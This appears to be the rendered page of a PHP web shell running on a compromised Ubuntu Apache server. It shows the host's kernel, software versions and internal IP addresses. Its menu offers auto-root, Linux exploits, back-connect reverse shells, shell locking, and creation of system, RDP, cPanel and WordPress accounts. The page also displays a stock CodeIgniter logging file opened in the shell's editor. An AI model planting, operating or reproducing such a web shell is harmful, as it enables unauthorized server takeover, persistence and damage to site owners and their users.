Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cai /
system /
Log /
Handlers /
[ HOME SHELL ]
Name
Size
Permission
Action
BaseHandler.php
1.45
KB
-rwxr-x--x
ChromeLoggerHandler.php
3.75
KB
-rwxr-x--x
ErrorlogHandler.php
2.1
KB
-rwxr-x--x
FileHandler.php
3.23
KB
-rwxr-x--x
HandlerInterface.php
1000
B
-rwxr-x--x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : FileHandler.php
<?php /** * This file is part of CodeIgniter 4 framework. * * (c) CodeIgniter Foundation <admin@codeigniter.com> * * For the full copyright and license information, please view * the LICENSE file that was distributed with this source code. */ namespace CodeIgniter\Log\Handlers; use DateTime; use Exception; /** * Log error messages to file system */ class FileHandler extends BaseHandler { /** * Folder to hold logs * * @var string */ protected $path; /** * Extension to use for log files * * @var string */ protected $fileExtension; /** * Permissions for new log files * * @var int */ protected $filePermissions; /** * Constructor */ public function __construct(array $config = []) { parent::__construct($config); $this->path = empty($config['path']) ? WRITEPATH . 'logs/' : $config['path']; $this->fileExtension = empty($config['fileExtension']) ? 'log' : $config['fileExtension']; $this->fileExtension = ltrim($this->fileExtension, '.'); $this->filePermissions = $config['filePermissions'] ?? 0644; } /** * Handles logging the message. * If the handler returns false, then execution of handlers * will stop. Any handlers that have not run, yet, will not * be run. * * @param string $level * @param string $message * * @throws Exception */ public function handle($level, $message): bool { $filepath = $this->path . 'log-' . date('Y-m-d') . '.' . $this->fileExtension; $msg = ''; if (! is_file($filepath)) { $newfile = true; // Only add protection to php files if ($this->fileExtension === 'php') { $msg .= "<?php defined('SYSTEMPATH') || exit('No direct script access allowed'); ?>\n\n"; } } if (! $fp = @fopen($filepath, 'ab')) { return false; } // Instantiating DateTime with microseconds appended to initial date is needed for proper support of this format if (strpos($this->dateFormat, 'u') !== false) { $microtimeFull = microtime(true); $microtimeShort = sprintf('%06d', ($microtimeFull - floor($microtimeFull)) * 1000000); $date = new DateTime(date('Y-m-d H:i:s.' . $microtimeShort, (int) $microtimeFull)); $date = $date->format($this->dateFormat); } else { $date = date($this->dateFormat); } $msg .= strtoupper($level) . ' - ' . $date . ' --> ' . $message . "\n"; flock($fp, LOCK_EX); $result = null; for ($written = 0, $length = strlen($msg); $written < $length; $written += $result) { if (($result = fwrite($fp, substr($msg, $written))) === false) { // if we get this far, we'll never see this during travis-ci // @codeCoverageIgnoreStart break; // @codeCoverageIgnoreEnd } } flock($fp, LOCK_UN); fclose($fp); if (isset($newfile) && $newfile === true) { chmod($filepath, $this->filePermissions); } return is_int($result); } }
Close